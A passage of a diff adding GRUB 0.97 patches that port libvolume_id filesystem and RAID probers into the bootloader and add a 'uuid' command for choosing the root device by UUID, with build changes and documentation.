++#define dbg(format, arg...)	volume_id_log_fn(LOG_DEBUG, __FILE__, __LINE__, format, ##arg)
++#else
++#define dbg(format, arg...)	do { } while (0)
++#endif
++
++/* size of superblock buffer, reiserfs block is at 64k */
++#define SB_BUFFER_SIZE				0x11000
++/* size of seek buffer, FAT cluster is 32k max */
++#define SEEK_BUFFER_SIZE			0x10000
++
++#ifdef __BYTE_ORDER
++#if (__BYTE_ORDER == __LITTLE_ENDIAN)
++#define le16_to_cpu(x) (x)
++#define le32_to_cpu(x) (x)
++#define le64_to_cpu(x) (x)
++#define be16_to_cpu(x) bswap_16(x)
++#define be32_to_cpu(x) bswap_32(x)
++#define cpu_to_le16(x) (x)
++#define cpu_to_le32(x) (x)
++#define cpu_to_be32(x) bswap_32(x)
++#elif (__BYTE_ORDER == __BIG_ENDIAN)
++#define le16_to_cpu(x) bswap_16(x)
++#define le32_to_cpu(x) bswap_32(x)
++#define le64_to_cpu(x) bswap_64(x)
++#define be16_to_cpu(x) (x)
++#define be32_to_cpu(x) (x)
++#define cpu_to_le16(x) bswap_16(x)
++#define cpu_to_le32(x) bswap_32(x)
++#define cpu_to_be32(x) (x)
++#endif
++#endif /* __BYTE_ORDER */
++
++enum uuid_format {
++	UUID_STRING,
++	UUID_HEX_STRING,
++	UUID_DCE,
++	UUID_DOS,
++	UUID_64BIT_LE,
++	UUID_64BIT_BE,
++	UUID_FOURINT,
++};
++
++enum endian {
++	LE = 0,
++	BE = 1
++};
++
++extern int volume_id_utf8_encoded_valid_unichar(const char *str);
++extern size_t volume_id_set_unicode16(uint8_t *str, size_t len, const uint8_t *buf, enum endian endianess, size_t count);
++extern void volume_id_set_usage(struct volume_id *id, enum volume_id_usage usage_id);
++extern void volume_id_set_label_raw(struct volume_id *id, const uint8_t *buf, size_t count);
++extern void volume_id_set_label_string(struct volume_id *id, const uint8_t *buf, size_t count);
++extern void volume_id_set_label_unicode16(struct volume_id *id, const uint8_t *buf, enum endian endianess, size_t count);
++extern void volume_id_set_uuid(struct volume_id *id, const uint8_t *buf, size_t len, enum uuid_format format);
++extern uint8_t *volume_id_get_buffer(struct volume_id *id, uint64_t off, size_t len);
++extern void volume_id_free_buffer(struct volume_id *id);
++
++#endif /* _VOLUME_ID_UTIL_ */
++
+
+=== added file 'libvolume_id/via_raid.c'
+--- grub-0.97.orig/libvolume_id/via_raid.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/via_raid.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,88 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2005 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ * Based on information taken from dmraid:
++ * Copyright (C) 2004-2006 Heinz Mauelshagen, Red Hat GmbH
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct via_meta {
++	uint16_t	signature;
++	uint8_t		version_number;
++	struct via_array {
++		uint16_t	disk_bit_mask;
++		uint8_t		disk_array_ex;
++		uint32_t	capacity_low;
++		uint32_t	capacity_high;
++		uint32_t	serial_checksum;
++	} PACKED array;
++	uint32_t	serial_checksum[8];
++	uint8_t		checksum;
++} PACKED;
++
++#define VIA_SIGNATURE		0xAA55
++
++/* 8 bit checksum on first 50 bytes of metadata. */
++static uint8_t meta_checksum(struct via_meta *via)
++{
++	uint8_t i = 50, sum = 0;
++
++	while (i--)
++		sum += ((uint8_t*) via)[i];
++
++	return sum == via->checksum;
++}
++
++
++int volume_id_probe_via_raid(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++	uint64_t meta_off;
++	struct via_meta *via;
++
++	dbg("probing at offset 0x%llx, size 0x%llx",
++	    (unsigned long long) off, (unsigned long long) size);
++
++	if (size < 0x10000)
++		return -1;
++
++	meta_off = ((size / 0x200)-1) * 0x200;
++
++	buf = volume_id_get_buffer(id, off + meta_off, 0x200);
++	if (buf == NULL)
++		return -1;
++
++	via = (struct via_meta *) buf;
++	if (le16_to_cpu(via->signature) !=  VIA_SIGNATURE)
++		return -1;
++
++	if (via->version_number > 1)
++		return -1;
++
++	if (!meta_checksum(via))
++		return -1;
++
++	volume_id_set_usage(id, VOLUME_ID_RAID);
++	sprintf(id->type_version, "%u", via->version_number);
++	id->type = "via_raid_member";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/volume_id.c'
+--- grub-0.97.orig/libvolume_id/volume_id.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/volume_id.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,222 @@
++/*
++ * volume_id - reads volume label and uuid
++ *
++ * Copyright (C) 2005-2007 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include <fcntl.h>
++#include <sys/stat.h>
++
++#include "volume_id.h"
++#include "util.h"
++#include "strfuncs.h"
++#include "shared.h"
++
++#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
++
++struct prober {
++	volume_id_probe_fn_t prober;
++	const char *name[4];
++};
++
++#define NOT_SUPPORTED(x)	
++#define SUPPORTED(x)	x
++
++static const struct prober prober_raid[] = {
++	{ volume_id_probe_ddf_raid, { "ddf_raid", } },
++
++	/* { volume_id_probe_linux_raid, { "linux_raid", } },  */
++	/* { volume_id_probe_intel_software_raid, { "isw_raid", } }, */
++	/* { volume_id_probe_lsi_mega_raid, { "lsi_mega_raid", } }, */
++	/* { volume_id_probe_via_raid, { "via_raid", } }, */
++	/* { volume_id_probe_silicon_medley_raid, { "silicon_medley_raid", } }, */
++	/* { volume_id_probe_nvidia_raid, { "nvidia_raid", } }, */
++	/* { volume_id_probe_promise_fasttrack_raid, { "promise_fasttrack_raid", } }, */
++	/* { volume_id_probe_highpoint_45x_raid, { "highpoint_raid", } }, */
++	/* { volume_id_probe_adaptec_raid, { "adaptec_raid", } }, */
++	/* { volume_id_probe_jmicron_raid, { "jmicron_raid", } }, */
++	/* { volume_id_probe_lvm1, { "lvm1", } }, */
++	/* { volume_id_probe_lvm2, { "lvm2", } }, */
++	/* { volume_id_probe_highpoint_37x_raid, { "highpoint_raid", } }, */
++};
++
++static const struct prober prober_filesystem[] = {
++	{ volume_id_probe_vfat, { "vfat", } }, 
++	{ volume_id_probe_luks, { "luks", } }, 
++	{ volume_id_probe_xfs, { "xfs", } }, 
++	{ volume_id_probe_ext, { "ext2", "ext3", "jbd", } }, 
++	{ volume_id_probe_reiserfs, { "reiserfs", "reiser4", } }, 
++	{ volume_id_probe_jfs, { "jfs", } }, 
++	{ volume_id_probe_hfs_hfsplus, { "hfs", "hfsplus", } }, 
++	{ volume_id_probe_ntfs, { "ntfs", } },
++ 	{ volume_id_probe_ocfs1, { "ocfs1", } },
++	{ volume_id_probe_ocfs2, { "ocfs2", } }, 
++
++	/* { volume_id_probe_linux_swap, { "swap", } }, */
++	/* { volume_id_probe_udf, { "udf", } }, */
++	/* { volume_id_probe_iso9660, { "iso9660", } }, */
++	/* { volume_id_probe_ufs, { "ufs", } },  */
++	/* { volume_id_probe_cramfs, { "cramfs", } }, */
++	/* { volume_id_probe_romfs, { "romfs", } }, */
++	/* { volume_id_probe_hpfs, { "hpfs", } }, */
++	/* { volume_id_probe_sysv, { "sysv", "xenix", } }, */
++	/* { volume_id_probe_minix, { "minix",  } }, */
++	/* { volume_id_probe_vxfs, { "vxfs", } }, */
++	/* { volume_id_probe_squashfs, { "squashfs", } }, */
++	/* { volume_id_probe_netware, { "netware", } }, */
++};
++
++/* the user can overwrite this log function */
++static void default_log(int priority, const char *file, int line, const char *format, ...)
++{
++	return;
++}
++
++volume_id_log_fn_t volume_id_log_fn = default_log;
++
++/**
++ * volume_id_get_type:
++ * @id: Probing context
++ * @type: Type string. Must not be freed by the caller.
++ *
++ * Get the type string after a successful probe.
++ *
++ * Returns: 1 if the value was set, 0 otherwise.
++ **/
++int volume_id_get_type(struct volume_id *id, const char **type)
++{
++	if (id == NULL)
++		return 0;
++	if (type == NULL)
++		return 0;
++	if (id->usage_id == VOLUME_ID_UNUSED)
++		return 0;
++
++	*type = id->type;
++	return 1;
++}
++
++
++/**
++ * volume_id_get_uuid:
++ * @id: Probing context.
++ * @uuid: UUID string. Must not be freed by the caller.
++ *
++ * Get the raw UUID string after a successful probe.
++ *
++ * Returns: 1 if the value was set, 0 otherwise.
++ **/
++int volume_id_get_uuid(struct volume_id *id, const char **uuid)
++{
++	if (id == NULL)
++		return 0;
++	if (uuid == NULL)
++		return 0;
++	if (id->usage_id == VOLUME_ID_UNUSED)
++		return 0;
++
++	*uuid = id->uuid;
++	return 1;
++}
++
++/**
++ * volume_id_probe_raid:
++ * @id: Probing context.
++ * @off: Probing offset relative to the start of the device.
++ * @size: Total size of the device.
++ *
++ * Probe device for all known raid signatures.
++ *
++ * Returns: 0 on successful probe, otherwise negative value.
++ **/
++int volume_id_probe_raid(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	unsigned int i;
++
++	if (id == NULL)
++		return -1;
++
++	info("probing at offset 0x%llx, size 0x%llx",
++	    (unsigned long long) off, (unsigned long long) size);
++
++	for (i = 0; i < ARRAY_SIZE(prober_raid); i++)
++		if (prober_raid[i].prober(id, off, size) == 0)
++			goto found;
++	return -1;
++
++found:
++	return 0;
++}
++
++/**
++ * volume_id_probe_filesystem:
++ * @id: Probing context.
++ * @off: Probing offset relative to the start of the device.
++ * @size: Total size of the device.
++ *
++ * Probe device for all known filesystem signatures.
++ *
++ * Returns: 0 on successful probe, otherwise negative value.
++ **/
++int volume_id_probe_filesystem(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	unsigned int i;
++
++	if (id == NULL)
++		return -1;
++
++	info("probing at offset 0x%llx, size 0x%llx",
++	    (unsigned long long) off, (unsigned long long) size);
++
++	for (i = 0; i < ARRAY_SIZE(prober_filesystem); i++)
++		if (prober_filesystem[i].prober(id, off, size) == 0)
++			goto found;
++	return -1;
++
++found:
++	return 0;
++}
++
++/**
++ * volume_id_probe_raid:
++ * @all_probers_fn: prober function to called for all known probing routines.
++ * @id: Context passed to prober function.
++ * @off: Offset value passed to prober function.
++ * @size: Size value passed to prober function.
++ * @data: Arbitrary data passed to the prober function.
++ *
++ * Run a custom function for all known probing routines.
++ **/
++void volume_id_all_probers(all_probers_fn_t all_probers_fn,
++			   struct volume_id *id, uint64_t off, uint64_t size,
++			   void *data)
++{
++	unsigned int i;
++
++	if (all_probers_fn == NULL)
++		return;
++
++	for (i = 0; i < ARRAY_SIZE(prober_raid); i++) {	
++		if (all_probers_fn(prober_raid[i].prober, id, off, size, data) != 0)
++			goto out;
++	}
++	for (i = 0; i < ARRAY_SIZE(prober_filesystem); i++) {
++		if (all_probers_fn(prober_filesystem[i].prober, id, off, size, data) != 0)
++			goto out;
++	}
++out:
++	return;
++}
+
+=== added file 'libvolume_id/volume_id.h'
+--- grub-0.97.orig/libvolume_id/volume_id.h	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/volume_id.h	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,137 @@
++/*
++ * volume_id - reads volume label and uuid
++ *
++ * Copyright (C) 2005-2007 Kay Sievers <kay.sievers@vrfy.org>
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _LIBVOLUME_ID_H_
++#define _LIBVOLUME_ID_H_
++
++#include <stdint.h>
++#include <stddef.h>
++
++typedef void (*volume_id_log_fn_t)(int priority, const char *file, int line, const char *format, ...) ;
++
++extern volume_id_log_fn_t volume_id_log_fn;
++
++struct volume_id;
++typedef int (*volume_id_probe_fn_t)(struct volume_id *id, uint64_t off, uint64_t size);
++typedef int (*all_probers_fn_t)(volume_id_probe_fn_t probe_fn,
++				struct volume_id *id, uint64_t off, uint64_t size,
++				void *data);
++
++extern struct volume_id *volume_id_open_fd(int fd);
++extern void volume_id_close(struct volume_id *id);
++extern int volume_id_probe_filesystem(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_raid(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_all(struct volume_id *id, uint64_t off, uint64_t size);
++extern const volume_id_probe_fn_t *volume_id_get_prober_by_type(const char *type);
++extern void volume_id_all_probers(all_probers_fn_t all_probers_fn,
++				  struct volume_id *id, uint64_t off, uint64_t size,
++				  void *data);
++extern int volume_id_get_label(struct volume_id *id, const char **label);
++extern int volume_id_get_label_raw(struct volume_id *id, const uint8_t **label, size_t *len);
++extern int volume_id_get_uuid(struct volume_id *id, const char **uuid);
++extern int volume_id_get_uuid_raw(struct volume_id *id, const uint8_t **uuid, size_t *len);
++extern int volume_id_get_usage(struct volume_id *id, const char **usage);
++extern int volume_id_get_type(struct volume_id *id, const char **type);
++extern int volume_id_get_type_version(struct volume_id *id, const char **type_version);
++extern int volume_id_encode_string(const char *str, char *str_enc, size_t len);
++
++/*
++ * Note: everything below will be made private or removed from
++ * a future version, and a new major release of libvolume_id
++ */
++
++extern struct volume_id *volume_id_open_node(const char *path);
++
++#define VOLUME_ID_LABEL_SIZE		64
++#define VOLUME_ID_UUID_SIZE		36
++#define VOLUME_ID_FORMAT_SIZE		32
++#define VOLUME_ID_PATH_MAX		256
++#define VOLUME_ID_PARTITIONS_MAX	256
++
++enum volume_id_usage {
++	VOLUME_ID_UNUSED,
++	VOLUME_ID_UNPROBED,
++	VOLUME_ID_OTHER,
++	VOLUME_ID_FILESYSTEM,
++	VOLUME_ID_RAID,
++	VOLUME_ID_DISKLABEL,
++	VOLUME_ID_CRYPTO,
++};
++
++#include <util.h>
++
++struct volume_id {
++	uint8_t		label_raw[VOLUME_ID_LABEL_SIZE];
++	size_t		label_raw_len;
++	char		label[VOLUME_ID_LABEL_SIZE+1];
++	uint8_t		uuid_raw[VOLUME_ID_UUID_SIZE];
++	size_t		uuid_raw_len;
++	char		uuid[VOLUME_ID_UUID_SIZE+1];
++	enum		volume_id_usage usage_id;
++	char		*usage;
++	char		*type;
++	char		type_version[VOLUME_ID_FORMAT_SIZE];
++
++	int		fd;
++	uint8_t		sbbuf[SB_BUFFER_SIZE];
++	size_t		sbbuf_len;
++	uint8_t		seekbuf[SEEK_BUFFER_SIZE];
++	uint64_t	seekbuf_off;
++	size_t		seekbuf_len;
++	int		fd_close:1;
++};
++
++/* filesystems */
++extern int volume_id_probe_cramfs(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_ext(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_vfat(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_hfs_hfsplus(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_hpfs(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_iso9660(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_jfs(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_minix(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_ntfs(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_ocfs1(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_ocfs2(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_reiserfs(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_romfs(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_sysv(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_udf(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_ufs(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_vxfs(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_xfs(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_squashfs(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_netware(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_gfs(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_gfs2(struct volume_id *id, uint64_t off, uint64_t size);
++
++/* special formats */
++extern int volume_id_probe_linux_swap(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_luks(struct volume_id *id, uint64_t off, uint64_t size);
++
++/* raid */
++extern int volume_id_probe_linux_raid(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_lvm1(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_lvm2(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_ddf_raid(struct volume_id *id, uint64_t off, uint64_t size);
++
++/* bios raid */
++extern int volume_id_probe_intel_software_raid(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_highpoint_37x_raid(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_highpoint_45x_raid(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_lsi_mega_raid(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_nvidia_raid(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_promise_fasttrack_raid(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_silicon_medley_raid(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_via_raid(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_adaptec_raid(struct volume_id *id, uint64_t off, uint64_t size);
++extern int volume_id_probe_jmicron_raid(struct volume_id *id, uint64_t off, uint64_t size);
++
++#endif
+
+=== added file 'libvolume_id/vxfs.c'
+--- grub-0.97.orig/libvolume_id/vxfs.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/vxfs.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,49 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Kay Sievers <kay.sievers@vrfy.org>
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++#define VXFS_SUPER_MAGIC	0xa501FCF5
++
++struct vxfs_super {
++	uint32_t		vs_magic;
++	int32_t			vs_version;
++} PACKED;
++
++int volume_id_probe_vxfs(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	struct vxfs_super *vxs;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	vxs = (struct vxfs_super *) volume_id_get_buffer(id, off + 0x200, 0x200);
++	if (vxs == NULL)
++		return -1;
++
++	if (vxs->vs_magic == cpu_to_le32(VXFS_SUPER_MAGIC)) {
++		sprintf(id->type_version, "%u", (unsigned int) vxs->vs_version);
++		volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++		id->type = "vxfs";
++		return 0;
++	}
++
++	return -1;
++}
+
+=== added file 'libvolume_id/xfs.c'
+--- grub-0.97.orig/libvolume_id/xfs.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/xfs.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,59 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Kay Sievers <kay.sievers@vrfy.org>
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct xfs_super_block {
++	uint8_t	magic[4];
++	uint32_t	blocksize;
++	uint64_t	dblocks;
++	uint64_t	rblocks;
++	uint32_t	dummy1[2];
++	uint8_t	uuid[16];
++	uint32_t	dummy2[15];
++	uint8_t	fname[12];
++	uint32_t	dummy3[2];
++	uint64_t	icount;
++	uint64_t	ifree;
++	uint64_t	fdblocks;
++} PACKED;
++
++int volume_id_probe_xfs(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	struct xfs_super_block *xs;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	xs = (struct xfs_super_block *) volume_id_get_buffer(id, off, 0x200);
++	if (xs == NULL)
++		return -1;
++
++	if (memcmp((char *)xs->magic, "XFSB", 4) != 0)
++		return -1;
++
++	volume_id_set_label_raw(id, xs->fname, 12);
++	volume_id_set_label_string(id, xs->fname, 12);
++	volume_id_set_uuid(id, xs->uuid, 0, UUID_DCE);
++
++	volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++	id->type = "xfs";
++
++	return 0;
++}
+
+=== modified file 'stage2/Makefile.am'
+--- grub-0.97.orig/stage2/Makefile.am	2005-02-02 20:40:05 +0000
++++ grub-0.97/stage2/Makefile.am	2008-07-09 17:23:44 +0000
+@@ -13,6 +13,10 @@
+ # For <stage1.h>.
+ INCLUDES = -I$(top_srcdir)/stage1
+ 
++if UUID_SUPPORT
++INCLUDES += -I$(top_srcdir)/libvolume_id
++endif
++
+ # The library for /sbin/grub.
+ noinst_LIBRARIES = libgrub.a
+ libgrub_a_SOURCES = boot.c builtins.c char_io.c cmdline.c common.c \
+@@ -61,6 +65,12 @@
+ PXELOADER_LINK = -nostdlib -Wl,-N -Wl,-Ttext -Wl,7C00
+ START_ELTORITO_LINK = -nostdlib -Wl,-N -Wl,-Ttext -Wl,7C00
+ 
++if UUID_SUPPORT
++UUID_FLAGS = -DSUPPORT_UUID=1
++else
++UUID_FLAGS =
++endif
++
+ if NETBOOT_SUPPORT
+ NETBOOT_FLAGS = -I$(top_srcdir)/netboot -DSUPPORT_NETBOOT=1
+ else
+@@ -82,6 +92,8 @@
+ STAGE2_COMPILE = $(STAGE2_CFLAGS) -fno-builtin -nostdinc \
+ 	$(NETBOOT_FLAGS) $(SERIAL_FLAGS) $(HERCULES_FLAGS)
+ 
++STAGE2_COMPILE += $(UUID_FLAGS)
++
+ STAGE1_5_LINK = -nostdlib -Wl,-N -Wl,-Ttext -Wl,2000
+ STAGE1_5_COMPILE = $(STAGE2_COMPILE) -DNO_DECOMPRESSION=1 -DSTAGE1_5=1
+ 
+@@ -97,7 +109,12 @@
+ 
+ if NETBOOT_SUPPORT
+ pre_stage2_exec_LDADD = ../netboot/libdrivers.a
+-endif
++else
++if UUID_SUPPORT
++pre_stage2_exec_LDADD = ../libvolume_id/libvolume_id.a
++endif
++endif
++
+ 
+ if DISKLESS_SUPPORT
+ BUILT_SOURCES = stage2_size.h diskless_size.h
+
+=== modified file 'stage2/builtins.c'
+--- grub-0.97.orig/stage2/builtins.c	2008-01-28 18:15:31 +0000
++++ grub-0.97/stage2/builtins.c	2008-07-09 17:23:44 +0000
+@@ -49,6 +49,10 @@
+ # include <md5.h>
+ #endif
+ 
++#ifdef SUPPORT_UUID
++#include <volume_id.h>
++#endif
++
+ /* The type of kernel loaded.  */
+ kernel_t kernel_type;
+ /* The boot device.  */
+@@ -4790,6 +4794,168 @@
+   "Probe VBE information. If the mode number MODE is specified, show only"
+   " the information about only the mode."
+ };
++
++
++
++#ifdef SUPPORT_UUID
++
++struct uuid_callback_data
++{
++   int  found;	/* 1 if uuid matches */
++   char *uuid;  /* uuid to look for */
++};
++
++static void uuid_info_print(struct volume_id *id, const char *uuid)
++{
++  const char *type;
++  int i;
++
++  volume_id_get_type(id, &type);
++  grub_printf("(hd%d", current_drive - 0x80);
++  if ((current_partition & 0xFF0000) != 0xFF0000)
++    {
++      grub_printf (",%d", (current_partition >> 16) & 0xFF);
++    }
++  if ((current_partition & 0x00FF00) != 0x00FF00)
++    {
++      grub_printf (",%c", 'a' + ((current_partition >> 8) & 0xFF));
++    }
++  grub_printf(") %s",type);
++  for (i=0;i<6-strlen(type);i++)
++    {
++      grub_putchar(' ');
++    }
++  grub_printf(" %s\n",uuid);
++}
++
++static int uuid_all_probers(volume_id_probe_fn_t probe_fn,
++                            struct volume_id *id, 
++			    uint64_t off, 
++			    uint64_t size, 
++			    void *data)
++{
++  struct uuid_callback_data *uc_data = (struct uuid_callback_data*)data;
++
++  if (probe_fn(id, off, size) == 0)
++    {
++      const char *volume_uuid;
++      if (volume_id_get_uuid(id, &volume_uuid)) 
++        {
++          if (!*(uc_data->uuid))
++            { 
++              uuid_info_print(id, volume_uuid);
++            }
++          else
++           {
++              if (strcmp(volume_uuid, uc_data->uuid) == 0) 
++                {
++                  grub_printf("Boot from ");
++                  uuid_info_print(id, volume_uuid);
++                  uc_data->found = 1;
++                  return 1;
++                }
++            }
++        }
++    }
++  return 0;
++}
++
++/* uuid find */
++/* Search for the uuid arg in all of partitions.  */
++static int
++uuid_func(char *arg, int flag)
++{
++  unsigned long drive;
++  unsigned long tmp_drive = saved_drive;
++  unsigned long tmp_partition = saved_partition;
++  struct uuid_callback_data uc_data;
++
++  uc_data.uuid = arg;
++  uc_data.found = 0;
++
++  /* Just hard disks and USB drives supported by BIOS  */
++  for (drive = 0x80; drive < 0x88; drive++)
++    {
++      unsigned long part = 0xFFFFFF;
++      unsigned long start, len, offset, ext_offset, gpt_offset;
++      int type, entry, gpt_count, gpt_size;
++      char *buf = (char *) RAW_ADDR(0x100000);
++      struct volume_id *vol_id = (struct volume_id *) RAW_ADDR (0x100000 + SECTOR_SIZE);
++
++      current_drive = drive;
++      while (next_partition (drive, 0xFFFFFF, &part, &type,
++			     &start, &len, &offset, &entry,
++			     &ext_offset, &gpt_offset,
++			     &gpt_count, &gpt_size, buf))
++	{
++	  if (type != PC_SLICE_TYPE_NONE
++	      && ! IS_PC_SLICE_TYPE_BSD (type)
++	      && ! IS_PC_SLICE_TYPE_EXTENDED (type))
++	    {
++	      current_partition = part;
++              errnum = ERR_NONE;
++              /* Attempt to open device, conventional way */
++              if (! open_device ())
++                {
++                  errnum = ERR_NONE;
++                  /* Failed, like NTFS or FAT filesystems, so try the rootnoverify way */
++                  if (open_partition ())
++                    {
++                      set_bootdev (0);
++                      if (errnum)
++                        {
++                          /* Give up */
++                          errnum = ERR_NONE;
++                          continue;
++                        }
++                    }
++                }
++
++              /* And probe for uuid across all fs types */
++              saved_drive = current_drive;
++              saved_partition = current_partition;
++		
++              grub_memset(vol_id, 0, sizeof(struct volume_id) );
++              volume_id_all_probers(uuid_all_probers, vol_id, 0, len, (void*)&uc_data);
++              if (uc_data.found)
++                {
++                  /* Success! */
++                  errnum = ERR_NONE;
++                  return 0;
++                }
++	    }
++	  /* We want to ignore any error here.  */
++	  errnum = ERR_NONE;
++	}
++
++      /* next_partition always sets ERRNUM in the last call, so clear it.  */
++      errnum = ERR_NONE;
++    }
++
++  saved_drive = tmp_drive;
++  saved_partition = tmp_partition;
++  current_drive = GRUB_INVALID_DRIVE;
++  current_partition = 0xFFFFFF;
++  errnum = ERR_FILE_NOT_FOUND;
++
++  if (!*arg) 
++    {
++      errnum = ERR_NONE;
++      return 0;
++    }
++  return 1;
++}
++
++static struct builtin builtin_uuid =
++{
++  "uuid",
++  uuid_func,
++  BUILTIN_CMDLINE | BUILTIN_HELP_LIST,
++  "uuid UUID",
++  "Set the current \"root device\" to the device with the uuid UUID,"
++  " then attempt to mount it"
++};
++#endif
+   
+ 
+ /* The table of builtin commands. Sorted in dictionary order.  */
+@@ -4879,6 +5045,9 @@
+   &builtin_title,
+   &builtin_unhide,
+   &builtin_uppermem,
++#ifdef SUPPORT_UUID
++  &builtin_uuid,
++#endif
+   &builtin_vbeprobe,
+   0
+ };
+
diff --git a/sys-boot/grub/files/grub-0.97-uuid_doc.patch b/sys-boot/grub/files/grub-0.97-uuid_doc.patch
new file mode 100644
index 00000000..06bfbdeb
--- /dev/null
+++ b/sys-boot/grub/files/grub-0.97-uuid_doc.patch
@@ -0,0 +1,38 @@
+--- grub-0.97.orig/docs/grub.texi	2008-07-17 11:07:25.000000000 +0100
++++ grub-0.97/docs/grub.texi	2008-07-17 10:57:41.000000000 +0100
+@@ -2707,6 +2707,7 @@
+ * testload::                    Load a file for testing a filesystem
+ * testvbe::                     Test VESA BIOS EXTENSION
+ * uppermem::                    Set the upper memory size
++* uuid::                        Set GRUB's root device using UUID
+ * vbeprobe::                    Probe VESA BIOS EXTENSION
+ @end menu
+ 
+@@ -3266,6 +3267,27 @@
+ also be used for debugging purposes to lie to an OS.
+ @end deffn
+ 
++@node uuid
++@subsection uuid
++
++@deffn Command uuid [UUID]
++Set the current @dfn{root device} to the device with the universally 
++unique identifier @var{UUID}, then attempt to mount it.  This is 
++equivalent to the @ref{root} command, but allows one to select a 
++filesystem by UUID rather than by device.
++
++The command recognises ext2, ext3, fat, hfs, jfs, ntfs, ocfs, reiserfs 
++and xfs filesystems.
++
++@strong{Note:} grub detects and recognises fat UUIDs in lower case 
++whereas examining /dev/disk/by-uuid on Linux will report fat UUIDs 
++in upper case.
++
